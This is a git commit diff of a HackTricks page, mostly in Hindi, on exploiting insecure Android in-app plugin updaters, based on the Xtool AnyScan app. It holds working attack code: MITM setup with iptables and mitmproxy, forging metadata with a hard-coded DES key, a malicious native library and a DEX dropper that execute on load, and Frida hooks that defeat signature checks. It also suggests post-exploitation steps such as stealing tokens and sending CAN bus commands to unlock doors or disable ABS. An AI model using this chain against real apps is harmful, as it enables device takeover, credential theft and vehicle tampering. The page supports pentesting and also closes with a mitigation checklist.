mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap
This commit is contained in:
parent
b078439cad
commit
7068bbbcf2
@ -1,16 +1,49 @@
|
||||
# असुरक्षित इन-ऐप अपडेट तंत्र – दुर्भावनापूर्ण प्लगइन्स के माध्यम से रिमोट कोड निष्पादन
|
||||
# असुरक्षित In-App Update Mechanisms – Remote Code Execution via Malicious Plugins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
कई Android अनुप्रयोग अपने **“प्लगइन” या “डायनामिक फीचर” अपडेट चैनल** को Google Play Store के बजाय लागू करते हैं। जब कार्यान्वयन असुरक्षित होता है, तो एक हमलावर जो ट्रैफ़िक को इंटरसेप्ट कर सकता है, **मनमाना नेटिव कोड प्रदान कर सकता है जो ऐप प्रक्रिया के अंदर लोड होगा**, जिससे हैंडसेट पर पूर्ण रिमोट कोड निष्पादन (RCE) हो सकता है - और कुछ मामलों में ऐप द्वारा नियंत्रित किसी भी बाहरी डिवाइस (गाड़ियाँ, IoT, चिकित्सा उपकरण ...) पर।
|
||||
कई Android एप्लिकेशन Google Play Store का उपयोग करने के बजाय अपना स्वयं का “plugin” या “dynamic feature” अपडेट चैनल लागू करते हैं। यदि यह implementation असुरक्षित है तो अपडेट ट्रैफ़िक को intercept या tamper करने में सक्षम कोई attacker arbitrary native या Dalvik/ART कोड प्रदान कर सकता है जो app process के अंदर लोड होगा, जिससे हैंडसेट पर पूर्ण Remote Code Execution (RCE) होगा — और कुछ मामलों में ऐप द्वारा नियंत्रित किसी भी external device (cars, IoT, medical devices …) पर भी।
|
||||
|
||||
यह पृष्ठ Xtool **AnyScan** ऑटोमोटिव-डायग्नोस्टिक्स ऐप (v4.40.11 → 4.40.40) में पाए गए एक वास्तविक-विश्व भेद्यता श्रृंखला का सारांश प्रस्तुत करता है और तकनीक को सामान्यीकृत करता है ताकि आप अन्य Android ऐप्स का ऑडिट कर सकें और रेड-टीम एंगेजमेंट के दौरान गलत कॉन्फ़िगरेशन को हथियार बना सकें।
|
||||
यह पेज Xtool AnyScan automotive-diagnostics ऐप (v4.40.11 → 4.40.40) में पाए गए एक वास्तविक‑विश्व कमज़ोरी श्रृंखला का सार देता है और तकनीक को सामान्यीकृत करता है ताकि आप अन्य Android ऐप्स का ऑडिट कर सकें और red-team engagement के दौरान mis-configuration को weaponise कर सकें।
|
||||
|
||||
---
|
||||
## 1. असुरक्षित TLS TrustManager की पहचान करना
|
||||
## 0. त्वरित ट्रायाज: क्या ऐप में in‑app updater है?
|
||||
|
||||
1. APK को jadx / apktool के साथ डिकंपाइल करें और नेटवर्किंग स्टैक (OkHttp, HttpUrlConnection, Retrofit…) को खोजें।
|
||||
2. एक **कस्टम `TrustManager`** या `HostnameVerifier` की तलाश करें जो हर सर्टिफिकेट पर अंधाधुंध भरोसा करता है:
|
||||
Static hints to look for in JADX/apktool:
|
||||
- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
|
||||
- Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
|
||||
- Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
|
||||
- Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
|
||||
- Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX.
|
||||
|
||||
पुष्टि करने के लिए Runtime hooks:
|
||||
```js
|
||||
// Frida: log native and dex loading
|
||||
Java.perform(() => {
|
||||
const Runtime = Java.use('java.lang.Runtime');
|
||||
const SystemJ = Java.use('java.lang.System');
|
||||
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
|
||||
|
||||
SystemJ.load.overload('java.lang.String').implementation = function(p) {
|
||||
console.log('[System.load] ' + p); return this.load(p);
|
||||
};
|
||||
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
|
||||
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
|
||||
};
|
||||
Runtime.load.overload('java.lang.String').implementation = function(p){
|
||||
console.log('[Runtime.load] ' + p); return this.load(p);
|
||||
};
|
||||
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
|
||||
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
|
||||
return this.$init(dexPath, optDir, libPath, parent);
|
||||
};
|
||||
});
|
||||
```
|
||||
---
|
||||
## 1. असुरक्षित TLS TrustManager की पहचान
|
||||
|
||||
1. APK को jadx / apktool से डीकम्पाइल करें और networking stack (OkHttp, HttpUrlConnection, Retrofit…) का पता लगाएँ।
|
||||
2. ऐसे custom `TrustManager` या `HostnameVerifier` देखें जो हर प्रमाणपत्र पर बिना सत्यापन के भरोसा करते हों:
|
||||
```java
|
||||
public static TrustManager[] buildTrustManagers() {
|
||||
return new TrustManager[]{
|
||||
@ -22,25 +55,34 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
|
||||
};
|
||||
}
|
||||
```
|
||||
3. यदि मौजूद है, तो एप्लिकेशन **किसी भी TLS प्रमाणपत्र** को स्वीकार करेगा → आप एक पारदर्शी **MITM प्रॉक्सी** को एक स्वयं-हस्ताक्षरित प्रमाणपत्र के साथ चला सकते हैं:
|
||||
3. यदि मौजूद है तो एप्लिकेशन किसी भी TLS certificate को स्वीकार करेगा → आप self-signed cert के साथ एक transparent MITM proxy चला सकते हैं:
|
||||
```bash
|
||||
mitmproxy -p 8080 -s addon.py # see §4
|
||||
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
|
||||
```
|
||||
## 2. अपडेट मेटाडेटा का रिवर्स-इंजीनियरिंग
|
||||
{{#ref}}
|
||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
AnyScan मामले में प्रत्येक ऐप लॉन्च एक HTTPS GET को ट्रिगर करता है:
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
## 2. Reverse-Engineering अपडेट मेटाडेटा
|
||||
|
||||
AnyScan मामले में, प्रत्येक ऐप लॉन्च एक HTTPS GET को ट्रिगर करता है:
|
||||
```
|
||||
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
|
||||
```
|
||||
उत्तर शरीर एक **XML दस्तावेज़** है जिसके `<FileData>` नोड्स में **Base64-कोडित, DES-ECB एन्क्रिप्टेड** JSON है जो हर उपलब्ध प्लगइन का वर्णन करता है।
|
||||
प्रतिक्रिया बॉडी एक XML दस्तावेज़ है जिसके `<FileData>` नोड्स में प्रत्येक उपलब्ध plugin का वर्णन करने वाली Base64-encoded, DES-ECB encrypted JSON होती है।
|
||||
|
||||
विशिष्ट शिकार कदम:
|
||||
1. क्रिप्टो रूटीन (जैसे `RemoteServiceProxy`) का पता लगाएं और पुनर्प्राप्त करें:
|
||||
* एल्गोरिदम (DES / AES / RC4 …)
|
||||
* संचालन का मोड (ECB / CBC / GCM …)
|
||||
* हार्ड-कोडेड कुंजी / IV (अक्सर 56-बिट DES कुंजी या 128-बिट AES कुंजी स्थिरांक में)
|
||||
2. मेटाडेटा को डिक्रिप्ट / एन्क्रिप्ट करने के लिए फ़ंक्शन को Python में फिर से लागू करें:
|
||||
सामान्य हंटिंग चरण:
|
||||
1. crypto routine को ढूँढें (उदा. `RemoteServiceProxy`) और पुनः प्राप्त करें:
|
||||
- algorithm (DES / AES / RC4 …)
|
||||
- mode of operation (ECB / CBC / GCM …)
|
||||
- hard-coded key / IV (आम तौर पर 56‑bit DES या 128‑bit AES constants)
|
||||
2. Python में फ़ंक्शन को री-इम्प्लीमेंट करें ताकि metadata को decrypt / encrypt किया जा सके:
|
||||
```python
|
||||
from Crypto.Cipher import DES
|
||||
from base64 import b64decode, b64encode
|
||||
@ -55,9 +97,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
|
||||
cipher = DES.new(KEY, DES.MODE_ECB)
|
||||
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
|
||||
```
|
||||
## 3. एक दुर्भावनापूर्ण प्लगइन बनाएं
|
||||
Notes seen in the wild (2023–2025):
|
||||
- Metadata अक्सर JSON-within-XML या protobuf में होता है; कमजोर ciphers और static keys आम हैं।
|
||||
- कई updaters वास्तविक payload डाउनलोड के लिए plain HTTP स्वीकार करते हैं भले ही metadata HTTPS पर आए।
|
||||
- Plugins अक्सर app-internal storage में unzip होते हैं; कुछ अभी भी external storage या legacy `requestLegacyExternalStorage` का उपयोग करते हैं, जिससे cross-app tampering संभव होता है।
|
||||
|
||||
1. किसी भी वैध प्लगइन ZIP को चुनें और मूल पुस्तकालय को अपने पेलोड से बदलें:
|
||||
---
|
||||
## 3. Craft a Malicious Plugin
|
||||
|
||||
### 3.1 Native library path (dlopen/System.load[Library])
|
||||
|
||||
1. किसी भी वैध plugin ZIP को चुनें और नेटिव लाइब्रेरी को अपने payload से बदल दें:
|
||||
```c
|
||||
// libscan_x64.so – constructor runs as soon as the library is loaded
|
||||
__attribute__((constructor))
|
||||
@ -71,12 +121,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
|
||||
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
|
||||
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
|
||||
```
|
||||
2. JSON मेटाडेटा को अपडेट करें ताकि `"FileName" : "PWNED.zip"` और `"DownloadURL"` आपके HTTP सर्वर की ओर इशारा करे।
|
||||
3. संशोधित JSON को DES-एन्क्रिप्ट + Base64-एन्कोड करें और इसे इंटरसेप्टेड XML के अंदर वापस कॉपी करें।
|
||||
2. JSON metadata को अपडेट करें ताकि `"FileName" : "PWNED.zip"` और `"DownloadURL"` आपके HTTP server की ओर इशारा करें।
|
||||
3. संशोधित JSON को Re‑encrypt + Base64‑encode करें और उसे intercepted XML के अंदर वापस कॉपी करें।
|
||||
|
||||
## 4. mitmproxy के साथ Payload भेजें
|
||||
### 3.2 Dex-आधारित plugin path (DexClassLoader)
|
||||
|
||||
`addon.py` उदाहरण जो *चुपचाप* मूल मेटाडेटा को बदलता है:
|
||||
कुछ apps JAR/APK डाउनलोड करते हैं और `DexClassLoader` के माध्यम से कोड लोड करते हैं। एक malicious DEX बनाएं जो लोड होने पर trigger करे:
|
||||
```java
|
||||
// src/pwn/Dropper.java
|
||||
package pwn;
|
||||
public class Dropper {
|
||||
static { // runs on class load
|
||||
try {
|
||||
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
|
||||
} catch (Throwable t) {}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Compile and package to a DEX jar
|
||||
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
|
||||
jar cf dropper.jar -C out/ .
|
||||
d8 --output outdex/ dropper.jar
|
||||
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
|
||||
```
|
||||
यदि लक्ष्य `Class.forName("pwn.Dropper")` को कॉल करता है तो आपका static initializer निष्पादित होगा; अन्यथा, Frida के साथ रिफ्लेक्शन का उपयोग करके लोड की गई क्लासों को सूचीबद्ध करें और एक exported method को कॉल करें।
|
||||
|
||||
---
|
||||
## 4. mitmproxy के साथ Payload डिलीवर करें
|
||||
|
||||
`addon.py` का उदाहरण जो चुपचाप मूल मेटाडेटा को बदल देता है:
|
||||
```python
|
||||
from mitmproxy import http
|
||||
MOD_XML = open("fake_metadata.xml", "rb").read()
|
||||
@ -89,36 +164,69 @@ MOD_XML,
|
||||
{"Content-Type": "text/xml"}
|
||||
)
|
||||
```
|
||||
एक साधारण वेब सर्वर चलाएँ ताकि दुर्भावनापूर्ण ZIP को होस्ट किया जा सके:
|
||||
दुष्ट ZIP/JAR को होस्ट करने के लिए एक साधारण वेब सर्वर चलाएँ:
|
||||
```bash
|
||||
python3 -m http.server 8000 --directory ./payloads
|
||||
```
|
||||
जब पीड़ित ऐप लॉन्च करता है, तो यह:
|
||||
* हमारे forged XML को MITM चैनल के माध्यम से fetch करेगा;
|
||||
* इसे hard-coded DES कुंजी के साथ decrypt और parse करेगा;
|
||||
* `PWNED.zip` डाउनलोड करेगा → निजी स्टोरेज के अंदर unzip करेगा;
|
||||
* शामिल *libscan_x64.so* को `dlopen()` करेगा, तुरंत हमारे कोड को **ऐप की अनुमतियों** (कैमरा, GPS, Bluetooth, फाइल सिस्टम, ...) के साथ निष्पादित करेगा।
|
||||
जब पीड़ित ऐप लॉन्च करेगा तो यह:
|
||||
- MITM चैनल पर हमारा फोर्ज किया गया XML प्राप्त करेगा;
|
||||
- hard-coded crypto के साथ इसे decrypt & parse करेगा;
|
||||
- `PWNED.zip` या `plugin.jar` डाउनलोड करेगा → निजी storage के अंदर unzip करेगा;
|
||||
- शामिल `.so` या DEX लोड करेगा, तुरंत हमारे कोड को ऐप की permissions (camera, GPS, Bluetooth, filesystem, …) के साथ execute करेगा।
|
||||
|
||||
चूंकि प्लगइन डिस्क पर कैश किया गया है, बैकडोर **रीबूट के दौरान बना रहता है** और हर बार चलता है जब उपयोगकर्ता संबंधित फीचर का चयन करता है।
|
||||
|
||||
## 5. पोस्ट-एक्सप्लॉइटेशन विचार
|
||||
|
||||
* ऐप द्वारा संग्रहीत सत्र कुकीज़, OAuth टोकन, या JWT चुराएं।
|
||||
* एक दूसरे चरण का APK ड्रॉप करें और इसे चुपचाप `pm install` के माध्यम से इंस्टॉल करें (ऐप के पास पहले से ही `REQUEST_INSTALL_PACKAGES` है)।
|
||||
* किसी भी जुड़े हार्डवेयर का दुरुपयोग करें - AnyScan परिदृश्य में आप मनमाने **OBD-II / CAN बस कमांड** भेज सकते हैं (दरवाजे अनलॉक करें, ABS बंद करें, आदि)।
|
||||
क्योंकि plugin डिस्क पर cached रहता है, backdoor रिबूट्स के बाद भी बना रहता है और हर बार चलता है जब उपयोगकर्ता संबंधित फीचर चुनता है।
|
||||
|
||||
---
|
||||
### पहचान और शमन चेकलिस्ट (नीली टीम)
|
||||
## 4.1 हस्ताक्षर/हैश चेक्स को बाईपास करना (जब मौजूद हों)
|
||||
|
||||
* कभी भी एक कस्टम TrustManager/HostnameVerifier के साथ प्रोडक्शन बिल्ड न भेजें जो प्रमाणपत्र सत्यापन को निष्क्रिय करता है।
|
||||
* Google Play से बाहर से निष्पादन योग्य कोड डाउनलोड न करें। यदि आपको *करना है*, तो प्रत्येक प्लगइन को एक ही **apkSigning v2** कुंजी के साथ साइन करें और लोड करने से पहले हस्ताक्षर की पुष्टि करें।
|
||||
* कमजोर/hard-coded क्रिप्टो को **AES-GCM** और एक सर्वर-साइड घूर्णन कुंजी के साथ बदलें।
|
||||
* डाउनलोड किए गए आर्काइव की अखंडता की पुष्टि करें (हस्ताक्षर या कम से कम SHA-256)।
|
||||
यदि updater signatures या hashes को validate करता है, तो verification को hook करें ताकि यह हमेशा attacker सामग्री को accept कर ले:
|
||||
```js
|
||||
// Frida – make java.security.Signature.verify() return true
|
||||
Java.perform(() => {
|
||||
const Sig = Java.use('java.security.Signature');
|
||||
Sig.verify.overload('[B').implementation = function(a) { return true; };
|
||||
});
|
||||
|
||||
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
|
||||
Java.perform(() => {
|
||||
const Arrays = Java.use('java.util.Arrays');
|
||||
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
|
||||
});
|
||||
```
|
||||
Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()`, `checkHash()`, or short‑circuiting update gating logic in Java or JNI.
|
||||
|
||||
---
|
||||
## संदर्भ
|
||||
## 5. अपडेटर्स में अन्य हमले की सतहें (2023–2025)
|
||||
|
||||
- Zip Slip path traversal while extracting plugins: malicious entries like `../../../../data/data/<pkg>/files/target` overwrite arbitrary files. Always sanitize entry paths and use allow‑lists.
|
||||
- External storage staging: अगर ऐप लोड करने से पहले archive को external storage में लिखता है, तो कोई भी अन्य ऐप इसमें छेड़छाड़ कर सकता है। Scoped Storage या internal app storage इसे रोकता है।
|
||||
- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap.
|
||||
- Incomplete signature checks: सिर्फ एक फ़ाइल hash की तुलना करना, पूरे archive की नहीं; signature को developer key से बाइंड न करना; archive में मौजूद किसी भी RSA key को स्वीकार करना।
|
||||
- React Native / Web-based OTA content: अगर native bridges OTA से आने वाले JS को बिना कड़े signing के execute करते हैं, तो app context में arbitrary code execution संभव है (उदा., insecure CodePush-like flows)। detached update signing और सख्त verification सुनिश्चित करें।
|
||||
|
||||
---
|
||||
## 6. पोस्ट-एक्सप्लॉइटेशन विचार
|
||||
|
||||
- ऐप द्वारा स्टोर किए गए session cookies, OAuth tokens, या JWTs चुरा लें।
|
||||
- दूसरी-स्टेज APK डालें और यदि संभव हो तो `pm install` के जरिए उसे साइलेंटली इंस्टॉल करें (कुछ ऐप पहले से `REQUEST_INSTALL_PACKAGES` घोषित करते हैं)।
|
||||
- किसी भी connected hardware का दुरुपयोग करें — AnyScan परिदृश्य में आप arbitrary OBD‑II / CAN bus commands भेज सकते हैं (दरवाज़े खोलना, ABS डिसेबल करना, आदि)।
|
||||
|
||||
---
|
||||
### Detection & Mitigation Checklist (blue team)
|
||||
|
||||
- Dynamic code loading और out‑of‑store updates से बचें। Play‑mediated updates को प्राथमिकता दें। अगर dynamic plugins अनिवार्य हैं, तो उन्हें data‑only bundles के रूप में डिज़ाइन करें और executable code base APK में रखें।
|
||||
- TLS को सही तरीके से लागू करें: कोई custom trust‑all managers न रखें; जहाँ संभव हो pinning लागू करें और एक hardened network security config लागू करें जो cleartext traffic को अस्वीकार करे।
|
||||
- Google Play के बाहर से executable code डाउनलोड न करें। अगर करना ही हो, तो detached update signing (उदा., Ed25519/RSA) का उपयोग करें जिस पर developer‑held key हो और लोड करने से पहले verify करें। metadata और payload (length, hash, version) को बाइंड करें और fail closed रखें।
|
||||
- metadata के लिए per‑message nonces के साथ modern crypto (AES‑GCM) का उपयोग करें; clients से hard‑coded keys हटाएँ।
|
||||
- डाउनलोड किए गए archives की integrity validate करें: हर फ़ाइल को कवर करने वाली signature verify करें, या कम से कम SHA‑256 hashes के manifest को verify करें। अतिरिक्त/अज्ञात फाइलों को reject करें।
|
||||
- डाउनलोड्स को app‑internal storage (या Android 10+ पर scoped storage) में स्टोर करें और ऐसे file permissions का उपयोग करें जो cross‑app tampering को रोकें।
|
||||
- Zip Slip से बचाव: extraction से पहले zip entry paths को normalize और validate करें; absolute paths या `..` segments को reject करें।
|
||||
- Play “Code Transparency” पर विचार करें ताकि आप और उपयोगकर्ता सत्यापित कर सकें कि shipped DEX/native code वही है जो आपने बनाया था (compliments but does not replace APK signing)।
|
||||
|
||||
---
|
||||
## References
|
||||
|
||||
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
|
||||
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
|
||||
- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user